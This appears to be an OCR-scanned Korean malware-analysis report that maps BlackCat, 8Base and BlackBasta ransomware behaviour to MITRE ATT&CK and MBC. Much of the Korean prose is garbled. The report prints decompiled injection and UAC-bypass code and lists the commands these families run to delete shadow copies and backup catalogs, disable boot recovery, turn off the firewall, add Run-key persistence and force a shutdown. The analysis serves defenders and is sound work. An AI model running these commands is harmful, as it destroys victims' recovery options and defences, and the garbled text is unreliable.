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NEE

MITRE ATT&CK

MITRE ATT&CK(Adversarial Tactics, Techniques, and Common Knowledge)2 Z 20| ZHAIE9|
2ot EfMIE Oiefstl |0 z2[efdES EAE & JEE X|st7| s MITRE oAl 7HESt =

=4 0| eld 2 delt 2

QICt. O]&= MITRE ATT&CK Tactics 2 Techniques & 2E26tCt

MBC

mjo

MBC= Malware Behavior Catalog®| 2fAt2 ATT&CK d==2 7|82 5t 20|5 A|d, RAL

d 2M, BESE B0 5 AHdIE BM S ARE ARIE AY¥stY| 28 etE

Mitre fitOlA 7|20 ZO|dH ATT&RCKS| ZR AN ITCIt OfLl ZAZE R|EFEICH 0l EA717t
|. A

AYIES EMste AIZO| Ot sliFH7t AHER
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RUCHs SEolct Ttk 24 ZAo| UL Y5 AHRCO| HE JHsE ATTRCK 7|80H2 225}
Of 1 W22 oMIC| HEH 24 ZHO BAS AT 4 U= AUCH

ATT&CK'
109 *

MBC

/. 40*
o _
MBC expands ATT&CK = MBC restricts ATT&CK

* Number of behaviors/techniques in intersection or unigue to each knowledge base

<2 2> MBC 2+ ATT&CK &

OLNTET} AtAl0| BEE TS| sl RAS SUEH=R| Batstn, A E4 AIZ At A
2 o3 S Y TS EHS WD BAHOR Folste S DEE Bt I|E ATTRCK 7|
£Of TSt ZPTHSE AT A7t HB, B ALRE|LL BeI27F S ofo0], ATTRCKEC} o
Ico| £H 202 o RN CIREE St

H9|S HOlBITY

MBCE= Objectives(5H), Behaviors(?|), Methods(&i) o2 AHIE 2, 5l

Objectives &2 42 ATT&CK Hd=2 7[HtCZ o, AdgIE 40| A ATTRCKOE= Q= 2

2127t 2712 Fo|x|0f QUL Behaviorse= AGIEQF AAE ATT&CK 7|=0| LIEE0f QUCt,
(@]

Methodse AERE S2 AZE O] ALY,

Ir

Objective::Behavior::Method
OFE|C|HH Y | ZR|::[IsDebuggerPresent

MBCO| AHBE 2E 7RI ATTACK ZHIZS Helsh 202 222 girt of2e 24| 1ol
217b 910 HAIZQ LB OLILt fYTES BASH: UHO|2HE ATTRCK DHEZ|AQ MBCE
W BRYLS T F O £YE 2A0| IHsT 20|z} A2t

4
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e

g90] 7l A A<

AHMY0{(Ransomware)= &2 2/0/sk= Ransom 2t AHIEE SEot= Malware 2

[ehf] (=] =~
02, AERQIES HoAStHLE GO0 22t T =33 gt 7I§ /12 =382

2|z9o| 2iMQoj= 1989 & Z=2I| C|A3IE 0|25l HOE ‘AIDS.trojan’0|Ct. AIDS/HIV

ZYol FS HoIF 4 s ZRIUO| MXS FESN, MY T2IAS MXT FS PC U
BE WYUS YB5I0] B2 2T, Ol HCfY| Aagoiet FL2 YAOICE OFRE
g 2

=
A F=EA| Rottt, AEUO| w2 LHSIH 2009 HE AIA2E 2012 @7tA| O £7t
=]

HE Yo e ARG, 25, c#lE SO0l UCH

i

32

M
-
°
=

= A
o = o
O] = SEAIQ 72 7IE2= ot 7hyet 50| S50 A7 HE LdsH gsst7|
AlZEHCH JHsimol oy mi2ol 22g ofX @Sy mRolch 2013 @ Lo S
AgEerie 27t A2 4UOR HEBQS ABHD, CIYS WAOR QEED s
OoiE YRC OlAE 7|H2=2 fH32f0|, MEIY, 2§ S I AHAUNS0| HF
Dokl ZG7HA = B2 Feks 7122 AT
Pelya
Santana Sodinokibi
Atomn StalinLocker FOMNIX
CryptoLocker BitCryptor GandCrab Conti
SynoLocker Ransom32 Satan Thanos
2013 CTBLocker 2015 Goldensye 2017 Ryuk 2019 NetWalker 2021
© O O O O O O O O
CryptoLocker 2014 CryptoWall 2016 WannaCry 2018 Clop 2020 Vasa
TorLocker Erebus Revil Babuk
TorrentLocker Magniber Maoloa BlackCat
Globelmposter Lockbit
Badrabbit Maze
<AE 3> sl HAt
Of = 542 72 7822 ot 7Hye 50| SE5t0 A7 HF LdstH &sst7|
AlZCE Jtestmel AFd R0 &S oA 27| WEOICk 2013 @ o st
AYEYSE 2 2o ATOZ HEBQIS AIRHT, CIYF WACR LEEH Yrks

W
Osis At OlAS 7|d2= fH3A2t0|, MHEIHM

WS|[0 SR e B2 S 7|12 Ut
2023 Holl= 2:HYol= FE3S| 2SS 0l0Xt=dl,
ot ARG oldols SHAVE Ay ElEs SAUCE
MEEZD A
YA =
2

2021 9

28 S Clye M0l Cig

|.|-|

S S
A RaaS & AYOE A= 42 5 0|F1 UCH
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2023'd 22 g5t AWH0E HTEH Lockbit, clop, blackcat S0] Q20 8Base & Al
Lot Bs= 201 UCL 22 MB|AY A:Yof OS2

Ao I5S0| oA S&SHo st 52 U
HE| SHS= A Hot0] et SME S40| 71s57| W0 28t o7t WSIC}
wr o [ Group
401
2022 LockBit
W 2023 Clop
e B BlackCat
198 172 M 8Bsse
B Fiay
(i s
lal fug Sap
<% 4> M| WHYO| S - sk HoiA
BlackCat

|O{O[E}. Rust OIS AtEst &F

=
=
| BHAL 3|0 &O0|5tn, A=A ZaHE

)

BlackCat zHMHYM{= 2021 ‘—j i1% /0= e
MH|A(RaasS) HMYOZ HWH & HZl A0
o= Isff MY ZHE0| OF—lo}Ef

C:lserstAdministratorWesktoplthlackeat .

u

[FLAGE]1 [OPTIONS]1 ——access—token <{ACCESS_TOKEN. [SUBCOMMAND]

Run as child process
Print help information
Do not process network shares

Run as propagated process
Show user interface

Log to console

Print version information

fAccess Token
Enable logging to specified fi

BlackCat HHEO= 2 Al dHIZE 27| dHE 2ol 2rXAECE sttt Ol 1
A2t 22 9IS HOR O Yolo| YIS EFf 230| YEFAR BEECE
ATT&CK DISCOVERY::Query Registry (T1012)
MBC DISCOVERY::System Information Discovery (E1082)

© PIOLINK, Inc.



Aot Byt BE4FB0A8 [FCALL to from test.B@4F8BA3
G515 151510 s HHEY _LOCAL_MACHIHNE
AA7AA6DE "SOFTHARE¥Microsof tWCruptography'

ul5 1015151515 ) ax@
ARA2aA17? KEY_READ
A028F278 aa28F278
a3 6) sA2ER] F2
[IPIIENad B84F81A3 |[CALL to from test.@@4F819E
ARARARED BxE@
PA7AA36E "MachineGuid"
ABAEAPAA HULL

HOA2BF328 HA2BF3I28
Ha7185F8 B87185F8
Ha28F25C BB28F25C

Q7> MEA E2

A T2NA A2 Qo Z2=MA ZEE HAFSICH explorer.exe 23] & ofid dE
T2MA HHE HABICE
ATT&CK DEFENSE EVASION::Process Injection (T1055)

DEFENSE EVASION::Process Injection::Patch Process Command Line
(E1082)

u

0| &,

o

MBC

= OpenProcess({1888, 8, ¥:
if t= -1
{
(g, B, & , 2L, B8);
if { ReadProcessHemory{v8, & . & . b, B) )
{
if ( ReadProcessHemory({us, + 12, & . b, B) )
{
GetWindowsDirectoryW{& , 268);
wescat_ sk , 2613 ;
= malloc(268);
ucscpy_s( , 268, & ) // explorer.exe
(=({_DUORD *}( + 28));
(=(_ DWORD =})( + 16) + 56);
({void (_ stdcall =)(int, int)} Y(=({_DUWORD #)( + 16) + 64, 'H
GetModuleFileHameW(B, & ., 268);
= ={ DWORD =){={ DWORD =){ + 12) + 12);
= ={ DUWORD =){ + 12} ;
while { ReadProcessHemory{vs, & . & . 4, B)
&& ReadProcessHemory(ud, #*({ DWORD =}){ + 483, & , *( WORD =})( + 38, B) )

QAdE 8y TEMA HE R2t

© PIOLINK, Inc. 7




—Image File

e

Version: njfa
Time: 2023-12-14 28 1:14

Path:
IC:"i"'i"l_lsersw.ﬁ.dminish'ab:ur":'"i"Deskb:upWI:uladccat.I:uin":"':"‘l:est.exe

Command line:
|C:"?"?"nﬁa'indu'n's"?"?lexpll:urer.Exe

Current directory:
IC:"?"?‘I_Isers"?"?‘.ﬁ.dministratc:r"i'"?‘Deskb:up"?"?‘blado:at.I:uin"#

4Est obMdshe S 2|5l UAC R3E AlESHCH UAC 2t User Account

| —
— =
Control 2 ot AT EQ0{o| 2SS BR|5HF = Microsoft Q] EQF =0|Ct ot AT EQ|0{7t

1 O
st Qe S LI 2ot=S HBHBIC
ATEQOIS CI2ZE iU, M¥E o) BYHS =Y 5712 2Fsts 0| UAC 2t

o el SEIET 2Vt YEYIEE OREE SHALE, Alle o &5l £|2= 0|2 22[5H0
oby IS YU U 4 USZ 3iCt

ATT&CK DEFENSE EVASION::Abuse Elevation Control Mechanism::Bypass UAC

MBC -
v = B3
u3d = ColnitializeEx{@, 2});

if { sub_SEDDAG{L"{3ESFC7F?-9A51-4367-9863-A120244FBEC7}", (int)&unk_6C6C14, 4, (int)&ua) )
goto LABEL_1k4;
if { tus )
{
uly = -1873741798;
goto LABEL_7;
H
if  (=(int {_ stdcall ==){int, int, int, int, _DWORD, signed int)){=({_DWORD =)ué + 36))(v6, al, a2, a3, B8, 5) < 8 )
ABEL_14:
uly = -1873741798;
else
vl = B;
if ( vG )
(={uoid (_ stdcall s==){int})(={_ DWORD =)ut + 8))I(ub);
ABEL_7:
if { tu3 )
CoUninitialize();
return vli;

<a2# 10> UAC 22|

© PIOLINK, Inc.



else

{
= {char =)&uS;

do

®*)5++ = @;
while { = & '
if (¢t )

= 1;;

= 36;

wcscpy{{wchar t =)u5, &off 6C6BB8); /f Elevation:Administrator®new:

wcscat{{wchar_t =)us, ¥:
= CoGetObject{uvs, &ug, . BUTY;

<2 11) CoGetObject

S7L HES X5t StY] RIS 2§ M= FHIE AASHT.

ATT&CK IMPACT::Inhibit System Recovery (T1490)

MBC IMPACT::Data Destruction::Delete Shadow Copies (E1485.m04)

sty BB5D1479 from test.BB5D1474
BA7AZ578 "C:ilindowsWsysten3d2ilcnd.exe"
Baa726978 e olindowsWsysten32end . exe" sc "wessadmin.exe Delete Shadows ~all Aguiet™"
aaaEEERAa NULL
aaaEEERAa NULL
HeAEAEBR1 TRUE

a3paA408 CREATE_UNIGODE_ENUIRONMENT i CREATE_NO_WINDOW
aBeaenaa NULL

aBeaenaa NULL

BB2BEFES BB28EFES

BB28EF18 BB28EF18

A% 12) 25§ M= 7t A
Elippiane:y AA5D147? |[CALL to from test.BASD1474
a87a2578 "ColindowsWeystem32ilcmd . exe ™
ap72697a "UCrilindowsWsysten32Wend.exe" /¢ "wmnic.exe Shadowcopy Delete'"
BB0AABAA NULL
ARRAARAA HULL
ARRAARA1 TRUE

a8 aan400 CREATE_UNICODE_ENUIRONMENT | CREATE_NO_WINDOW
51555155 ]5]5) NULL

51555155 ]5]5) LUIAN

BAAZEEFB8 BA28 EFBS

BBZ8EF10 BB28EF18

<A™ 13> 28 M= 71 2

© PIOLINK, Inc. 9



9 4SS Q3| ChY TRAAS A Z25I0Y, T2 AZEQOPT}

T2 MAS UHE 2230}

Xl

ATT&CK

DISCOVERY::Process Discovery (T1057)

MBC

{
u3z =

{
val
vG5

vt@
uG1
uL2
uL3
u33

H

vii;

uih =
if { dword_6DEBSG t= 2 )
“fcargofregistryfsrc/github.com-1ecc6299db%ec823/utfx-0.1._0/srcfucstr . rs";

u31 = OpenProcess{v29, 1, B, ={_ DWORD =}{u83 + 8));
u29 = uBL;
if ( u3d1 )

if { (unsigned int)dword_6DB1DY4 > 2 )

Bun9;
sub_47u4DFB;

34;

LODWORD (vuD) = 35
HIDWORD(u49) = "locker::core::os::windows: :pI‘DCESSI{ill=";

&off_68A150;

1;
0;

off_SEEB20;

if { dword GDBG8A = 2 )
u3ld

= &off_66EGGEC;
off_SEEB1C;

(int =)&uGl;

“locker::core:zos::windows: :processkill="";

“srcfcorefosfwindows/process . rs";

u3l =

uLy =

uts = 1;
uta = B8;
uL8 = 34;
uLy =

uto = @8;
vl = 38;
val =

uh2z = 1;
u63 68;
((uuld (_

cdecl *){const char =,  int6h =*))ud3[5])(v3y, Euia9);

TerminateProcess{u3?, 9);
CloseHandle{u32});

© PIOLINK, Inc.
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Blackcat sHMQ01e] =& Y= tH Chsat 2.

njo
ol

g2

Defense PRIVILEGE
. DISCOVERY EXECUTION IMPACT PERSISTEMCE
Evasion ESCALATION
~buse Account Command and Inhibit System Create or
Elevation - " Modify Syste Access Token
Discovery cripting Recovery odify System manipelation
Confrol Interpreter Process
Mechanism File and
D!lec.tury Share Modules Service Stop Wind
Bypass User Discovery ;
Account Senvice
control Metwork Share g'_.'sll_em
Discovery ervices
File and
Elrec?ur!r Process
ermissions )
; - Discovery
Modification
Indicator Query Registry
Removal
Software
Clear Discovery
Windows
Event Logs System
inforamtion
file Delection Dizcovery
Obfuscated System
Files or CwnerfUser
Infarmation Discovery
Indicator System Service
Remaoval Discovery
from Tools
Process
Injection
<% 15) ATT&CK Zaf|g|a
| A::;'::“ | ‘c""(‘:'gz:‘r‘;l"‘“d H ||Dnmmumcaﬁnr| Cryptography || H DATA H | 25;?05'5 ” H DISCOVERY || H EXECUTION H || File System || H IMPACT ‘| ” Memory H || DPSE‘E‘SA&NG || H PROCESS H
| mone] [Bonta] [romons | [ | BER] FREE] ER] fmre ] [ | B ] P | i
nformation interpreter
Receive Dat Resalv LES Check . Process 2= gﬁ‘ﬂe Regist Create Mut
S Dot R - i Creedrg. | delchen Copes :‘-‘m"f
T R T I e
Pseudo- CRC32 - E te

Inifialize RC4 PRGA Inspect Section Read File E;lc;hread
‘Winsock Library Memory

Bascts Permissions o -
o *OR Set File
: [Atrbuted [Terminate
Send Data o .
i le
Set Socket ﬁrryp'v‘logmphm -
Cenfia = System
Information

Interprocess FNV

|Communication|

Receive Data

Pl
8
i
@

Discovery

<% 16> MBC Y93

© PIOLINK, Inc.




8Base

8Base &2 =dll 3 & ME S&ot0 St 2S2EH A

M2 A (RansomHouse)2t= CH2

Z20|AL O 5t 2R2olgts 20| ULt 8Base 1FO0| AMEot= HA0{Q! 8Base
YOl EEA SHEY O} H|otd] ZEALL 2AHE OFY £+ Che 20| AL SHe

gltt. SA7|YS BHCSZ ot0f 23 @ SHFE 2%t E5= SIAC.

£

8Base Ald Al dHIE FE A

3H
HiA| (Mutual Exclusion)Q| =8 7120 02 A EE AlE
AtEStCt,

ATT&CK -

MBC Micro-Behaviors::PROCESS::Create Mutex

from target.BA324F2D

HaaBEBEE HULL
HABABARA FALSE
a@a74F?CHa "GlobalW<<BID>>C2B875 44000880081 "

<12 17> |EIA Y

AHIE R5d RAE o RAEZ(0 S SESCE 55 d2&= “HKLMwSoft-
wareWMicrosoftwWindows#wCurrentVersionWRun” 0|3, 3iE ZZ0| S2& Adl mele 2
El A| T}2 22I517| QOIS AHE02 AlSHEIC}

d2AER|E Heloh A& 2 Z2E &S5 Y EC0| YOS SAFSCH O Eot b

FE9| &Y RAIE flet AolCh

ATT&CK Persistence::Boot or Logon Autostart Execution

MBC Psersistence::registry-run-keys-startup-folder

BBZ?FBiE BB32134F |rCALL to from target B@321309
EPOBBRE2 HEEY _LOCAL_MACHINE
BA?5B478 "Sof tvaretMicrozsof tlindows#CurrentUers ionWRun "'

A0PEPPBA B0
ABR20186 KEY_SET_UALUE !KEY_CREATE_SUB_KEY {20180
B8827F83C AA27F83C
gl 18) YR|AEZ| 23|
Pl B8323A0AC |FCALL to from target.BB323A06
ArAnn1 84 Bx184
80761788 "target"

HABRBERA B8
HanARAA1 REG_SZ
#a761778 #8618
HAAABASE

<1219y YA B SUH 01502 52

© PIOLINK, Inc.

12



DIE TEE E]=] |
ab| (| 2Z0 REG_57 (gf & 2 Eh
ab|target REG_5Z CtUsersWadministratordtappDataWlocalta,
ab|VMware User .., REG_SZ "CitProgram FilesWyhMware®hware Toals, |,
=AE ME x|
zf Ol 2N
ftarget

i
o
4
k-

<18 20> S5 3tH

BR27F818 QEEFAE L) |:CFILL to from target.B883214A8

"C:WserstidministratorWDesktoptarget..exe"

Yc:luserstadministratorilappdatatlroamingtmicrosof tWwindowsWstart menulprogramsistartupltarget.exe"

TRUE

O™ 21) AR RO| AIE FA

Al
=2

o

AMHA =28 M= 70 T AR, WY FIE=ZT AR

ATT&CK IMPACT::Inhibit System Recovery (T1490)

MBC IMPACT::Data Destruction::Delete Shadow Copies (E1485.m04)

if { CreatePipe(& , & , & ,» 8) )
{
if ( CreatePipe(& , BUb, B . 0 )

if { SetHandleInformation( , 1u, 8) )

if { SetHandleInformation( , 1u, 8) )
{
-h3tdInput =
-h3tdOutput =
.h3tdError =
.wShowWindow = @;
.ch = 68;
.duwFlags = 257;
if { CreateProcessW( , 8,8, 8,1, 8, 8, 8, & , & Y )Y// cnd.exe
{
= sub_L4B98B5( '
WriteFile( R R , & , 8);
WaitForSingleObject( .hProcess, BxFFFFFFFF};
sub_483D4B(&u7, 1);

<3 22> cmd.exe M3
4¥ ByHo| 55

Vssadmin delete shadows /all /quiet
Wmic shadowcopy delete
Bcdedit /set {default} bootstatuspolicy ignoreallfailurers
Bcdedit /set {default} recovertenabled no

Wbadmin delete catalog -quiet
[E 1] M3 H3Ho| 52

© PIOLINK, Inc. 13



cmdE AFA|A

—

ATT&CK

A DRLO| Chofl WaHS AIRSIR| Y202 HAIY,
y

Defense::Impair Defenses::Disable or Modify System Firewall

MBC -

| [@[n tergetexe 5080 15,42 508 F 5000 |,
Eﬁcmd,exe 1340 1,804 K, 2836 K Windows B3 H2(2
w7 netsh,exe 9550 213 3,152 K, BEOOK HEDI Ha &

<2l 23) netsh AalstH

4 3o 25

Advfirewall set currentprofile state off

Firewall set opmode mode=disable

[E 2] 4 I S5

8Base?} A2t ZAYHS

gelst ctEat ot

od [=]
. . Privilege Defense Credential -
Execution Persistence g 3 Discovery Impact
escalation evasion access
- Boot or Logon Boot or Logon Msueri Steal Web Software Inhibit System
Rzt = Autostart Autostart asque e Session Cookie Discovery Recovery
Execution Execution
i Sy 1 . Data E ote
Servics Registry Run Registry Run Re;&ame System ‘L:nsecu‘ed Query Registry :a.s Encrypted
Execution Keys/ Keys/ Utilities Credentials or Impact
Startup Folder Startup Folder
Command and Match Legitimate Credentials In System
Scripting Nams or Files Information
Interpreter Location Discovery
Windows Impair Defenses
Command Shell T
Disable or
Modify System
Firewall
o
<% 24> ATTRCK Z2f|d9j3
Anti-Static Command And DEFENSE = OPERATING -
H iTaEE H Control ‘Communication Cryptography H H DATA “ ‘ EVASION H ‘ DISCOVERY “ H File System H H IMPACT “ H SYSEM H “ PROCESS H H Persistence H
Debugger c2 HTTP Obfuscated File and . Data . registry run
Detection | Communication|  |Communication| |- "C7PFD313 ‘ EEET | Files or Directory s | Destruction ‘ FEE | |G"E“ LIS keys/ startup
Information Discovery folder
. GetFile Delete Query
Time/Delay Receive Data Create Request | AES adler System e Shadow Registry Create Mutex
Check Encoding- Atiributes Copies Value
GeiTickCount SHA2S6 CRC32 Standard e v
Get Response Algorithm Discovery Set Registry -
Create Process
Time/Dela ; value
e ey WinHTTP Encode Data Encryption-
Check Standard
Query- Algorithm Create Thread
Performance- Socket *OR
Counter Communication| e =
Ton- Process
Get Socket Cryptographic
Status Hash
| Attributes
Receive Data MurmurHash
Set Socket
Config
Interprocess
Communication|
Create Pipe
‘Write Pipe

© PIOLINK, Inc.
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BlackBasta

20223 MEHA A=l BlackBasta 2HAIQ0j= CH7|ZH0f

N
or
njo
e
i}
S
|m
Ew

1 UNAHe=Z I
2

SR =5 =27t UGt ORIVIAZ Raase A0 S 0| 71 &322 RaaS €
S StLZE =|UCH BlackBastall 3y 7|5, 7= AOIE, o YA 50| Conti A FAISH |

@20 Conti 252 IFYZ ZA0|2t =510 UL
BlackBasta &l Al LtE UHY OIS SLSH =& M= IS AfAlstct.

sub_43DCe4("C: \V\Windows\
15;

45

1111576897;

@;

@;

ATT&CK IMPACT::Inhibit System Recovery (T1490)
MBC IMPACT::Data Destruction::Delete Shadow Copies (E1485.m04)
= &v28;
*(_DWORD *) Nalue = 85
*(_WORD *)& Nalue[4] = 256;
AllocateAndInitializesid(& , lu, @, @, 8, @, @, @, 8, 8, &psid);
dword_489278 = GetCurrentProcessId(};
FreeConsole();
sub_43DCed("C:\\Windows\\SysNative\\wssadmin.exe delete shadows /fall /quiet™);

WSystem32\\vssadmin.exe delete shadows /fall /quiet™);

<A 26> 28 M= 71 A4

Ol0|Z ImYUS M5t basta &&AAE 712 IAS29| Ot0|22 HAGHTt
ATT&CK -
MBC OPERATINGSYSTEM::Set Registry Value

HA2AFCLE

88088880
#@864ACCA
515151515151515)
515151515151515)
ARARARAEA
ABAAAE1 A3
HBEREREA
BE2AFCES
Ba2AFCE4

B11EB1DA (FCALL to

from bhlackbas .811E@1D4
HEKEY_CLASSES_ROOT
".bhastatDefaultIcon™
Bxa
MULL
REG_OFTION_MON_UOLATILE
KEY_QUERY_UALUE (KEY_SET_UALUE 118A@
HULL
BEZAFCES
BEZAFCE4

a8 27> rAEL| £

© PIOLINK, Inc.
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2 HA~Ep HA)|

OFE(F) HEE) 220 SHFEIA) TSE(H)

BE _ == IEDE]

REG_57 CHtlserswaDMIMI~ 1% AppDatawlocal® Tempikdisadasd,.ico

<A™ 28 43 st

7|E0 2Ast=

o, A2 32 2

MB|AQI “Fax’E AMAITH = =
=

o
22 285 2ot FE Ao 2522 ddE & UEF it

AAABICH A3 T B2 oby

ATT&CK

PERSISTENCE::Create or Modify System Process:: Windows Service

MBC

PERSISTENCE::modify-existing service

HAZAFBGE ik
a8
a8
a8

ABL525ER
1515 5151815 ]5) NULL
ARBRAARA

1515 5151815 ]5) NULL
ARBRAARA NULL
1515 5151815 ]5)

2t |za=| =37 |

1DCC?3 (CALL to from blackbas.B11DCCED
62BC48 Bd62ZBC48
2ZAFE2C "Fax"
ZAFBF& "Fax"

@BAFA1FF SERVICE_ALL_ACCESS
H8aBaE1 8 SERVICE_UWIN32_OWN_PROCESS
6151515151515 SERVICE_AUTO_START

E15]51515]1015 R SERVICE_ERROR_MWORMAL
"C:WlzerstfidministratorWDesktopithlackbasta.bin"

a7 29> MHIA +3

Fax =8{=2 HALEH)

]3]

== A
=o

MHI2 01 E:
£ADE:

o ‘

B

gl I A=
CitlsersWaAdministratorDeskiopblackbasta, bin

AT QHEE:  [UE [

MH[A AS =8 28 EFE

<A™ 30> +YE M|~

© PIOLINK, Inc.

16




Blackbasta= QUZEEZ 28 = YIMQIS 2AMS=H| Ol AMZE 2UY Al Windows
f

g AAe Y
A

nx Mo

CAHRE=

Y 5 R Al QYRCE ASHY 4 USE 02 YRAER0 S SEIECH
ATT&CK IMPACT::System shutdown/reboot
MBC PERSISTENCE::shutdown

AAZAFCES

AA6375D8
Bd64E4B0
[a1a15 5 ]5]5] 0 5]
aaaaBaeaaa
aERREEA1
[S1S ST 1E 1 1 ]
[G1a15 555G )
[a1a15 5 ]5]5] 0 5]
BAZAFD?C
BEZAFDCA

LLEPfYPLY 76285501
BB6662AC
88622688

alalalslala a0 ]

CALL to

alalalslala a0 ]
886 2B4F8
BB2AFB?8
886645F8

B122B3FA | rCALL to

from blackbas.@122B3EA
"C:ilindowsMsystem3Zicmnd .exe "
"C:WlindowsWs ystemd2Wemd.exe ~#c hcdedit Aset safeboot network"
NULL
NULL
TRUE
a
NULL
NULL
BB2AFD?C
BEZAFDCHA
<3 31) erM=RE 43
from shell32.?69855BB
"CitlindowsHEystem32icnd..exe "
"UCilindowsWeystem32Wcnd . exe"” #C shutdown —» —f -t B"
NULL
NULL
FALSE
CREATE_NEW_CONSOLE !CREATE_UNICODE_ENUIRONMENT ! CREATE_DEFAULT _ERROR_MODE 88080
NULL
"CitlsersiidninistratoriDesktop
AB2nFB?8
AB6645F8

A% 32> AHRY

o[ofz| ot Y = 3iF O[0|AE HiZ=stHe= dYo LIaHA0AH AHR=0 HBEUSS
elCt.
ATT&CK -
MBC OPERATING SYSTEM::Wallpaper

AAZAF7EE
ABAAAAL 4

5151515151515 ]5)
BESF61DA
BEBREBH1

B11E@2C1 ([CALL to

from blackbas.B11E@ZBE
SPI_SETDESHKWALLPAPER
Bxa
B85 Fe1DB
SPIF_UPDATEINIFILE

<3 33> HiFstH HE
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sHol2 = o
Blackbasta &M T EQ| Q2 H2|5tH Ct21t 2T}
Defense
. DISCOVERY EXECUTION IMPACT PERSISTENCE
Ewvasion
Indicator File and Share Modules Inhibit System Create or
Remaval Directory Recovery Modify System
Discovery Process
; . Sysiem .
File Deletion System Siwi{:es Semvice Stop
inforamtion Windows
Dbfuscated Discovery Syztem Senvice
Files or Service Shutdown/
Infarmation System Service Execution Reboot
Discovery
Indicator Data encrypted
Removal for Impact
from Tools
Virtualization/
Sandbox
Ewvasion
<% 34) ATT&CK Z3j|el3
Anti-Behavioral Anti-Static DEFENSE : OPERATING _
Analysic Analysis DATA e DISCOVERY File System IMPACT Saer PROCESS Persistence
= Executable . Obfuscated File and . Data Environment Allocate Thread
g;::::i‘;:a' Code [EE=iEing Files or Directory = ‘ Destruction ‘ Variable ‘ Local Storage | [onutdewn ‘
Obfuscation Informafion Discovery Delete
Buns as Argument Encode Data ‘ Encodin System Move File Shadow Registry ‘ ‘Create Process ;‘::ilfc‘;m"ng
Service Obfi tion S‘Iandarg_ Information Copies
[— Discovery N
N
Virtual Machine Sirings XOR Obfuscated
Detection Files or Get File Terminate
MNon- Information e ‘ Process ‘
Cryptographic
Hash COMSPEC
En\fimnment
ENV Variable
<22 35> MBC Z3|Ug3a
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® MITRE ATT&CK, https://attack.mitre.org/matrices/enterprise/

o z|0Iz|, AHoie] &2 MH|AY Conti &2 &2 HTHEY,
https://csrc.kaist.ac.kr/blog/2021/03/29/%EB%9E % 9C%EC%84 % AC%EC% 9B % A8
%EC%96%B4%EC%9D % 98-%EB%8F%99%ED %96 % A5%EA%B3 %BC-%EC%8
4%9C%EB%B9%84 %EC%8A%A4%ED %98%95-
conti-%EB%8F% 99 % EC%9E %91-%EC%IB% 0% EBY% A6 % AC-%EC%82%B4%E
D %8E%B4%EB%B3%B4%EA%B8%B0/

® SK 24, KARA 2142(0f S3F BTN, 2023.07

® MBCProject, https://github.com/MBCProject/mbc-markdown

® SentinelOne, 8Base Raonsomware: In-Depth Analysis, Detection, and Mitigation,
https://www.sentinelone.com/anthology/8base/
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